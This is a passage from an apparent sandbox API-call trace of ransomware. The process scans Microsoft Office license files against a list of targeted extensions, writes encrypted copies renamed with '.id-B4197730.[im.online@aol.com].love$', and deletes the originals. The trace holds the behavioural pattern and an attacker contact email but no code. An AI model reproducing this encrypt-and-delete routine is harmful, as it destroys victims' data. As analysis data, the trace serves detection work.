Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.221] lstrlenW (lpString=".doc") returned 4 [0263.221] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.221] lstrlenW (lpString=".docx") returned 5 [0263.221] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.221] lstrlenW (lpString=".pdf") returned 4 [0263.221] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.221] lstrlenW (lpString=".xls") returned 4 [0263.221] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.221] lstrlenW (lpString=".xlsx") returned 5 [0263.221] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.221] lstrlenW (lpString=".ppt") returned 4 [0263.221] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.221] lstrlenW (lpString=".zip") returned 4 [0263.221] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.221] lstrlenW (lpString=".rar") returned 4 [0263.221] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.221] lstrlenW (lpString=".bz2") returned 4 [0263.221] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.221] lstrlenW (lpString=".7z") returned 3 [0263.221] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.222] lstrlenW (lpString=".dbf") returned 4 [0263.222] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.222] lstrlenW (lpString=".1cd") returned 4 [0263.222] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.222] lstrlenW (lpString=".jpg") returned 4 [0263.222] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.222] lstrlenW (lpString=".doc") returned 4 [0263.222] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.222] lstrlenW (lpString=".docx") returned 5 [0263.222] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.222] lstrlenW (lpString=".pdf") returned 4 [0263.222] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.222] lstrlenW (lpString=".xls") returned 4 [0263.222] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.223] lstrlenW (lpString=".xlsx") returned 5 [0263.223] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.223] lstrlenW (lpString=".ppt") returned 4 [0263.223] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.223] lstrlenW (lpString=".zip") returned 4 [0263.223] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.223] lstrlenW (lpString=".rar") returned 4 [0263.223] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.223] lstrlenW (lpString=".bz2") returned 4 [0263.223] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.223] lstrlenW (lpString=".7z") returned 3 [0263.223] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.223] lstrlenW (lpString=".dbf") returned 4 [0263.223] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.223] lstrlenW (lpString=".1cd") returned 4 [0263.223] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0263.224] lstrlenW (lpString=".jpg") returned 4 [0263.224] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.224] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.224] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 34 [0263.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.226] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=22094) returned 1 [0263.226] CloseHandle (hObject=0x550) returned 1 [0263.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220 [0263.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.227] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.227] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0263.230] GetLastError () returned 0x0 [0263.230] ReadFile (in: hFile=0x550, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x564e, lpOverlapped=0x0) returned 1 [0263.346] WriteFile (in: hFile=0x53c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x5650, lpOverlapped=0x0) returned 1 [0263.348] ReadFile (in: hFile=0x550, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0263.348] WriteFile (in: hFile=0x53c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x118, lpOverlapped=0x0) returned 1 [0263.348] SetEndOfFile (hFile=0x53c) returned 1 [0263.349] CloseHandle (hObject=0x53c) returned 1 [0263.349] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.349] SetEndOfFile (hFile=0x550) returned 1 [0263.354] CloseHandle (hObject=0x550) returned 1 [0263.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1 [0263.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.545] lstrlenW (lpString=".doc") returned 4 [0263.545] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.562] lstrlenW (lpString=".docx") returned 5 [0263.562] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.562] lstrlenW (lpString=".pdf") returned 4 [0263.562] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.562] lstrlenW (lpString=".xls") returned 4 [0263.562] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.562] lstrlenW (lpString=".xlsx") returned 5 [0263.562] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.562] lstrlenW (lpString=".ppt") returned 4 [0263.562] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.562] lstrlenW (lpString=".zip") returned 4 [0263.562] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.562] lstrlenW (lpString=".rar") returned 4 [0263.562] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.562] lstrlenW (lpString=".bz2") returned 4 [0263.562] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.562] lstrlenW (lpString=".7z") returned 3 [0263.562] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.563] lstrlenW (lpString=".dbf") returned 4 [0263.563] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.563] lstrlenW (lpString=".1cd") returned 4 [0263.563] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.563] lstrlenW (lpString=".jpg") returned 4 [0263.563] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.563] lstrlenW (lpString=".doc") returned 4 [0263.563] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.563] lstrlenW (lpString=".docx") returned 5 [0263.563] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.563] lstrlenW (lpString=".pdf") returned 4 [0263.563] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.563] lstrlenW (lpString=".xls") returned 4 [0263.563] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.563] lstrlenW (lpString=".xlsx") returned 5 [0263.563] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.563] lstrlenW (lpString=".ppt") returned 4 [0263.563] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.563] lstrlenW (lpString=".zip") returned 4 [0263.563] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.563] lstrlenW (lpString=".rar") returned 4 [0263.564] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.564] lstrlenW (lpString=".bz2") returned 4 [0263.564] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.564] lstrlenW (lpString=".7z") returned 3 [0263.564] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.564] lstrlenW (lpString=".dbf") returned 4 [0263.564] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.564] lstrlenW (lpString=".1cd") returned 4 [0263.564] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0263.564] lstrlenW (lpString=".jpg") returned 4 [0263.564] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.564] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.564] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 37 [0263.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.566] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=19966) returned 1 [0263.566] CloseHandle (hObject=0x550) returned 1 [0263.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220 [0263.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0263.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.566] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.566] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0263.568] GetLastError () returned 0x0 [0263.568] ReadFile (in: hFile=0x550, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0263.571] WriteFile (in: hFile=0x53c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x4e00, lpOverlapped=0x0) returned 1 [0263.572] ReadFile (in: hFile=0x550, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0263.573] WriteFile (in: hFile=0x53c, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11e, lpOverlapped=0x0) returned 1 [0263.575] SetEndOfFile (hFile=0x53c) returned 1 [0263.575] CloseHandle (hObject=0x53c) returned 1 [0263.575] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0263.575] SetEndOfFile (hFile=0x550) returned 1 [0263.580] CloseHandle (hObject=0x550) returned 1 [0263.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1 [0264.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.304] lstrlenW (lpString=".doc") returned 4 [0264.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.304] lstrlenW (lpString=".docx") returned 5 [0264.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.304] lstrlenW (lpString=".pdf") returned 4 [0264.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.304] lstrlenW (lpString=".xls") returned 4 [0264.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.304] lstrlenW (lpString=".xlsx") returned 5 [0264.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.304] lstrlenW (lpString=".ppt") returned 4 [0264.304] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.305] lstrlenW (lpString=".zip") returned 4 [0264.305] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.305] lstrlenW (lpString=".rar") returned 4 [0264.305] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.305] lstrlenW (lpString=".bz2") returned 4 [0264.305] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.305] lstrlenW (lpString=".7z") returned 3 [0264.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.305] lstrlenW (lpString=".dbf") returned 4 [0264.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.305] lstrlenW (lpString=".1cd") returned 4 [0264.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.305] lstrlenW (lpString=".jpg") returned 4 [0264.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.305] lstrlenW (lpString=".doc") returned 4 [0264.305] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0264.305] lstrlenW (lpString=".docx") returned 5 [0264.306] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0264.306] lstrlenW (lpString=".pdf") returned 4 [0264.306] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0264.306] lstrlenW (lpString=".xls") returned 4 [0264.306] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0264.306] lstrlenW (lpString=".xlsx") returned 5 [0264.306] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0264.306] lstrlenW (lpString=".ppt") returned 4 [0264.306] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0264.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.306] lstrlenW (lpString=".zip") returned 4 [0264.306] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0264.306] lstrlenW (lpString=".rar") returned 4 [0264.306] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0264.306] lstrlenW (lpString=".bz2") returned 4 [0264.306] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0264.307] lstrlenW (lpString=".7z") returned 3 [0264.307] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0264.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.307] lstrlenW (lpString=".dbf") returned 4 [0264.307] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0264.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.307] lstrlenW (lpString=".1cd") returned 4 [0264.307] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0264.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0264.307] lstrlenW (lpString=".jpg") returned 4 [0264.307] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0264.307] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0264.307] lstrlenW (lpString="HomeBusinessR_Retail-ul-oob.xrm-ms") returned 34 [0264.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0264.309] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11609) returned 1 [0264.309] CloseHandle (hObject=0x568) returned 1 [0264.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220 [0264.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0264.310] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0264.310] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0264.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0264.312] GetLastError () returned 0x0 [0264.312] ReadFile (in: hFile=0x568, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d59, lpOverlapped=0x0) returned 1 [0264.315] WriteFile (in: hFile=0x550, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d60, lpOverlapped=0x0) returned 1 [0264.317] ReadFile (in: hFile=0x568, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0264.317] WriteFile (in: hFile=0x550, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, 